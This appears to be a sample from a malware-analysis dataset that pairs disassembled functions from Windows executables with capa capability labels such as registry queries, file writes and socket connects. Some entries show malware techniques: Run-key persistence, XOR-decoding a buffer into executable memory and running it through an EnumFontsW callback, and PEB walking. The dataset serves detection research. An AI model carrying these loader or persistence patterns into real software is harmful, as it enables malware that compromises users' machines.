joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4033b9
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [ebp + 8], 0
je 0x4033e6
mov eax, dword [0x420c60]
test eax, eax
je 0x4033da
sub esp, 0xc
push eax
call sub.USER32.dll_DestroyWindow
add esp, 0xc
mov dword [0x420c60], 0
jmp 0x403437
cmp dword [0x420c60], 0
je 0x4033fe
sub esp, 0xc
push 0
call fcn.004060ad
add esp, 0xc
jmp 0x403437
call sub.KERNEL32.dll_GetTickCount
cmp eax, dword [0x42f998]
jbe 0x403437
sub esp, 0xc
push 0
push 0x4036f9
push 0
push 0x6f
push dword [0x42f9f8]
call sub.USER32.dll_CreateDialogParamA
sub esp, 0xc
push 5
push eax
mov dword [0x420c60], eax
call sub.USER32.dll_ShowWindow
add esp, 0x18
leave
ret
Function at 0x4037b5
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x439400
call fcn.004061ff
push 0x439400
call fcn.00405fb8
xor edx, edx
add esp, 0xc
test eax, eax
je 0x403808
sub esp, 0xc
push 0x439400
call fcn.0040631a
sub esp, 0xc
push 0
push 0x439400
call sub.KERNEL32.dll_CreateDirectoryA
push 0x439400
push 0x439000
call fcn.004066d9
mov edx, eax
add esp, 0x18
mov eax, edx
leave
ret
Function at 0x40638e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x20
mov ebx, dword [ebp + 0x14]
lea edx, [ebp - 8]
mov byte [ebx], 0
cmp dword [ebp + 0x18], 1
push edx
sbb eax, eax
xor al, al
add eax, 0x20119
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ADVAPI32.DLL_RegOpenKeyExA
add esp, 0xc
test eax, eax
jne 0x406407
push eax
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0x10]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp - 8]
mov dword [ebp - 0xc], 0x400
call sub.ADVAPI32.DLL_RegQueryValueExA
pop edx
pop ecx
test eax, eax
jne 0x4063ef
mov eax, dword [ebp - 0x10]
dec eax
cmp eax, 1
jbe 0x4063f2
mov byte [ebx], 0
mov byte [ebx + 0x3ff], 0
sub esp, 0xc
push dword [ebp - 8]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
mov ebx, dword [ebp - 4]
leave
ret 0x14
Function at 0x4066d9
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, 0x64
push esi
push ebx
sub esp, 0x1c
mov esi, dword [ebp + 8]
jmp 0x40671c
mov dword [ebp - 0x10], 0x61736e
mov bl, byte [ebp - 0xe]
call sub.KERNEL32.dll_GetTickCount
mov ecx, 0x1a
xor edx, edx
push esi
push 0
div ecx
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
add ebx, edx
mov byte [ebp - 0xe], bl
call sub.KERNEL32.dll_GetTempFileNameA
test eax, eax
jne 0x406727
dec edi
cmp edi, 0xffffffff
jne 0x4066ec
mov byte [esi], 0
xor esi, esi
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret 8

Function at 0x406733
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 8
push 0x400
push dword [ebp + 8]
push 0x42daa8
call sub.KERNEL32.dll_lstrcpynA
push ebx
push ebx
push 0x42daa8
call fcn.00406196
add esp, 0xc
test eax, eax
mov ebx, eax
je 0x4067ee
sub esp, 0xc
push eax
call fcn.004061ff
add esp, 0xc
cmp byte [0x42f9a8], 0
jns 0x4067b1
mov al, byte [ebx]
test al, al
je 0x4067ee
cmp al, 0x5c
jne 0x4067b1
jmp 0x4067ee
sub esp, 0xc
push 0x42daa8
call fcn.00406137
add esp, 0xc
test eax, eax
je 0x40679f
test byte [eax], 0x10
je 0x4067ee
sub esp, 0xc
push 0x42daa8
call fcn.004062e5
add esp, 0xc
jmp 0x4067b7
sub ebx, 0x42daa8
sub esp, 0xc
push 0x42daa8
call sub.KERNEL32.dll_lstrlenA
add esp, 0xc
cmp eax, ebx
jg 0x406786
sub esp, 0xc
push 0x42daa8
call fcn.0040631a
push 0x42daa8
call sub.KERNEL32.dll_GetFileAttributesA
add esp, 0xc
inc eax
setne al
movzx eax, al
jmp 0x4067f0
xor eax, eax
mov ebx, dword [ebp - 4]
leave
ret 4

Function at 0x4067f7
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x10
mov ebx, dword [ebp + 8]
push ebx
call sub.KERNEL32.dll_GetFileAttributesA
pop edx
xor edx, edx
pop ecx
cmp eax, 0xffffffff
setne dl
neg edx
push 0
and edx, eax
push edx
push dword [ebp + 0x10]
push 0
push 1
push dword [ebp + 0xc]
push ebx
call sub.KERNEL32.dll_CreateFileA
mov ebx, dword [ebp - 4]
leave
ret 0xc

Function at 0x40682f
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x10
mov ebx, dword [ebp + 8]
push ebx
call sub.KERNEL32.dll_GetFileAttributesA
add esp, 0xc
cmp eax, 0xffffffff
je 0x406855
push edx
and eax, 0xfffffffe
push edx
push eax
push ebx
call sub.KERNEL32.dll_SetFileAttributesA
pop ebx
pop eax
mov ebx, dword [ebp - 4]
leave
ret 4
Function at 0x4068c2
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x28
mov esi, dword [ebp + 8]
push 1
mov ebx, dword [ebp + 0xc]
call fcn.004060e8
add esp, 0xc
test eax, eax
je 0x4068ef
push edx
push 5
push ebx
push esi
call eax
pop edi
test eax, eax
jne 0x406ac1
test ebx, ebx
mov dword [0x42cea8], 0x4c554e
je 0x406938
push ecx
push 1
push 0
push ebx
call fcn.004067f7
push edx
push edx
push eax
call sub.KERNEL32.dll_CloseHandle
push eax
push eax
push 0x400
push 0x42cea8
push ebx
call sub.KERNEL32.dll_GetShortPathNameA
add esp, 0x14
test eax, eax
je 0x406ac7
cmp eax, 0x400
jg 0x406ac7
push eax
push 0x400
push 0x42d2a8
push esi
call sub.KERNEL32.dll_GetShortPathNameA
pop edi
test eax, eax
je 0x406ac7
cmp eax, 0x400
jg 0x406ac7
push 0x42d2a8
push 0x42cea8
push str._s_s_r_n
push 0x42d6a8
call sub.USER32.dll_wsprintfA
pop ebx
pop esi
mov dword [ebp - 0x24], eax
mov eax, dword [0x42f948]
push dword [eax + 0x128]
push 0x42d2a8
call fcn.0040640e
sub esp, 0xc
push 4
push 0xc0000000
push 0x42d2a8
call fcn.004067f7
add esp, 0x14
cmp eax, 0xffffffff
mov dword [ebp - 0x20], eax
je 0x406ac1
push ecx
push ecx
push 0
push eax
call sub.KERNEL32.dll_GetFileSize
mov edx, dword [ebp - 0x24]
mov ebx, eax
lea eax, [eax + edx + 0xa]
push eax
push 0x40
call sub.KERNEL32.dll_GlobalAlloc
mov esi, eax
test esi, esi
pop eax
pop edx
je 0x406ab3
sub esp, 0xc
push 0
lea eax, [ebp - 0x10]
push eax
push ebx
push esi
push dword [ebp - 0x20]
call sub.KERNEL32.dll_ReadFile
add esp, 0xc
test eax, eax
je 0x406ab3
cmp ebx, dword [ebp - 0x10]
jne 0x406ab3
push edi
push edi
push str._Rename__r_n
push esi
call fcn.0040685c
pop edx
pop ecx
test eax, eax
jne 0x406a30
push eax
push 0x400
lea eax, [esi + ebx]
add ebx, 0xa
push str._Rename__r_n
push eax
call sub.KERNEL32.dll_lstrcpynA
mov edx, ebx
pop edi
jmp 0x406a6a
push ecx
add eax, 0xa
push ecx
push 0x40a397
push eax
call fcn.0040685c
pop edi
pop edx
mov edx, ebx
test eax, eax
je 0x406a6a
mov edx, dword [ebp - 0x24]
lea edi, [eax + 1]
lea ecx, [eax + edx]
mov edx, edi
lea eax, [esi + ebx]
mov dword [ebp - 0x28], eax
jmp 0x406a60
mov al, byte [edx]
inc edx
mov byte [ecx], al
inc ecx
cmp edx, dword [ebp - 0x28]
jb 0x406a5b
mov edx, edi
sub edx, esi
lea edi, [esi + edx]
mov ecx, dword [ebp - 0x24]
xor edx, edx
jmp 0x406a7f
mov al, byte [edx + 0x42d6a8]
dec ecx
mov byte [edi + edx], al
inc edx
test ecx, ecx
jg 0x406a74
push 0
push 0
push 0
push dword [ebp - 0x20]
call sub.KERNEL32.dll_SetFilePointer
mov edx, dword [ebp - 0x24]
lea eax, [ebp - 0x10]
sub esp, 0xc
push 0
push eax
lea eax, [ebx + edx]
push eax
push esi
push dword [ebp - 0x20]
call sub.KERNEL32.dll_WriteFile
push esi
call sub.KERNEL32.dll_GlobalFree
add esp, 0xc
sub esp, 0xc
push dword [ebp - 0x20]
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
inc dword [0x42f8f8]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 8
Function at 0x406dcb
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
lea eax, [ebp - 0x10]
push eax
push 0x42e2a8
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp + 8]
mov dword [0x42e2a8], 0x44
push 0
call sub.KERNEL32.dll_CreateProcessA
pop edx
xor edx, edx
pop ecx
test eax, eax
je 0x406e13
sub esp, 0xc
push dword [ebp - 0xc]
call sub.KERNEL32.dll_CloseHandle
mov edx, dword [ebp - 0x10]
add esp, 0xc
mov eax, edx
leave
ret 4

Function at 0x406e1c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
cmp dword [0x42e2fc], 0
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x10]
push ebx
jne 0x406e5d
xor ebx, ebx
mov edx, ebx
xor ecx, ecx
mov eax, edx
inc ecx
and eax, 1
neg eax
and eax, 0xedb88320
shr edx, 1
xor edx, eax
cmp ecx, 8
jne 0x406e37
mov dword [ebx*4 + 0x42e2f8], edx
inc ebx
cmp ebx, 0x100
jne 0x406e33
mov edx, dword [ebp + 8]
not edx
jmp 0x406e77
mov al, byte [edi]
dec esi
inc edi
xor eax, edx
movzx eax, al
shr edx, 8
xor edx, dword [eax*4 + 0x42e2f8]
test esi, esi
jne 0x406e64
not edx
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret 0xc
Function at 0x405710
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40572e
or eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40576f
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x4058e0
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x401646
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x28
call sub.MSVBVM60.DLL___vbaChkstk
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x14], 0x401340
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 1
mov dword [ebp - 4], 2
push 0xffffffffffffffff
call dword [sym.imp.MSVBVM60.DLL___vbaOnError]
mov dword [ebp - 4], 3
lea eax, [ebp - 0x24]
push eax
push 0x4038a0
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
push 0x80000002
call fcn.00403434
mov dword [ebp - 0x34], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x28], edx
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
mov dword [ebp - 4], 4
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaLenBstr]
add eax, 5
jo 0x405a49
push eax
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
lea ecx, [ebp - 0x30]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
push 1
push 0
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
push eax
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
mov edx, dword [ebp - 0x24]
push edx
call fcn.0040347c
mov dword [ebp - 0x34], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToUnicode]
mov edx, dword [ebp - 0x30]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrToUnicode]
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x28], ecx
lea edx, [ebp - 0x30]
push edx
lea eax, [ebp - 0x2c]
push eax
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
mov dword [ebp - 4], 5
mov ecx, dword [ebp - 0x24]
push ecx
call fcn.004033ec
mov dword [ebp - 0x34], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x28], edx
push 0x405a36
jmp 0x405a35
ret
call dword [sym.imp.MSVBVM60.DLL___vbaErrorOverflow]
int3
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x414054], 1
mov dword [0x414050], 1
mov dword [0x41404c], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x41400c], eax
mov eax, dword [0x414060]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x414074]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x41405c]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x410018], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056
Function at 0x401a55
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
and esp, 0xfffffff0
sub esp, 0x70
call dbg.__main
fldz
fstp qword [esp + 0x60]
fldz
fstp qword [esp + 0x58]
mov byte [esp + 0x57], 0x20
lea eax, [esp + 0x2a]
mov ecx, 0x2d
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
mov dword [esp + 0x2a], 0x7265706f
mov dword [esp + 0x2e], 0x6f697461
mov dword [esp + 0x32], 0x6e
mov dword [esp + 0x35], 0
mov dword [esp + 0x39], 0x626d756e
mov dword [esp + 0x3d], 0x7265
mov dword [esp + 0x41], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x6c], 0
fld qword [esp + 0x60]
fld qword [esp + 0x58]
movzx eax, byte [esp + 0x57]
movsx eax, al
fstp qword [esp + 0xc]
fstp qword [esp + 4]
mov dword [esp], eax
call sym._printCalc
mov dword [esp], str._nEnter_a_number:
call sym._printf
lea eax, [esp + 0x60]
mov dword [esp + 4], eax
mov dword [esp], 0x4110ac
call sym._scanf
mov eax, dword [esp + 0x6c]
and eax, 1
test eax, eax
jne 0x401b69
cmp dword [esp + 0x6c], 0
je 0x401b69
fld qword [esp + 0x60]
fld qword [esp + 0x58]
movzx eax, byte [esp + 0x57]
movsx eax, al
fstp qword [esp + 0xc]
fstp qword [esp + 4]
mov dword [esp], eax
call sym._calc
fstp qword [esp + 0x60]
fldz
fstp qword [esp + 0x58]
mov byte [esp + 0x57], 0x20
fld qword [esp + 0x60]
fld qword [esp + 0x58]
movzx eax, byte [esp + 0x57]
movsx eax, al
fstp qword [esp + 0xc]
fstp qword [esp + 4]
mov dword [esp], eax
call sym._printCalc
mov edx, dword [esp + 0x6c]
mov eax, edx
sar eax, 0x1f
shr eax, 0x1f
add edx, eax
and edx, 1
sub edx, eax
lea ecx, [esp + 0x2a]
mov eax, edx
shl eax, 4
sub eax, edx
add eax, ecx
mov dword [esp + 4], str.number
mov dword [esp], eax
call sym.__strcmp
test eax, eax
jne 0x401bdf
mov dword [esp], str._nEnter_a_number:
call sym._printf
lea eax, [esp + 0x58]
mov dword [esp + 4], eax
mov dword [esp], 0x4110ac
call sym._scanf
jmp 0x401bff
mov dword [esp], str._nEnter_an_operation:
call sym._printf
lea eax, [esp + 0x57]
mov dword [esp + 4], eax
mov dword [esp], 0x4110cd
call sym._scanf
add dword [esp + 0x6c], 1
jmp 0x401b28

Function at 0x401e70
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x401ed0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x414068]
test esi, esi
jle 0x401ff0
mov eax, dword [0x41406c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401f04
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401f87
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401ef0
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x402017
mov eax, dword [0x41406c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x41406c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401ff7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401f80
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401f90
add dword [0x414068], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x41406c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401f80
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401f0e
mov eax, dword [0x41406c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop

Function at 0x402530
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x414084
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x41407c]
sub esp, 4
test ebx, ebx
je 0x402585
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40257e
test esi, esi
je 0x40257e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402560
mov dword [esp], 0x414084
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4028c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4028e5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x4028f0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4028e5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402938
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40292e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40293a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402920
xor eax, eax
pop ebx
pop esi
ret
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x660
mov eax, dword [0x415004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ecx, 0xc7
lea edi, [ebp - 0x340]
mov esi, 0x413b20
rep movsd dword es:[edi], dword [esi]
push 6
pop ecx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str.LSKHDOPFIE:LS_DFSKLDFH
lea edi, [ebp - 0x20]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea esi, [ebp - 0x20]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x401040
sub esi, ecx
xor ebx, ebx
mov edi, ebx
mov ecx, 0x31f
mov eax, edi
cdq
idiv esi
mov al, byte [ebp + edx - 0x20]
xor al, byte [ebp + edi - 0x340]
mov byte [ebp + edi - 0x660], al
inc edi
cmp edi, ecx
jb 0x401052
push 0x40
push 0x1000
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea esi, [ebp - 0x660]
mov ecx, 0xc7
rep movsd dword es:[edi], dword [esi]
push ebx
push eax
push ebx
movsw word es:[edi], word [esi]
push ebx
movsb byte es:[edi], byte [esi]
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EnumFontsW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004010b9
mov esp, ebp
pop ebp
ret
Function at 0x405998
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x405a35
push ebx
push esi
call fcn.00405961
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.004058aa
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4059e2
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x405a34
push edi
push eax
call fcn.004038cc
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x405a02
call fcn.00403892
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x405a33
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.004058aa
add esp, 0x20
test eax, eax
jne 0x405a21
push edi
call fcn.00403892
jmp 0x405a29
push ebx
call fcn.00403892
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x406d07
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push str.FlsAlloc
push 0x410d7c
push str.FlsAlloc
push 0x1e
call fcn.00406bc8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x406d3b
push dword [ebp + 8]
mov ecx, esi
call dword [0x40f120]
call esi
jmp 0x406d41
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x406d85
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push str.FlsGetValue
push 0x410da0
push str.FlsGetValue
push 0x20
call fcn.00406bc8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x406dbc
push dword [ebp + 8]
mov ecx, esi
call dword [0x40f120]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x10001230
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
ret

Function at 0x10001250
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
ret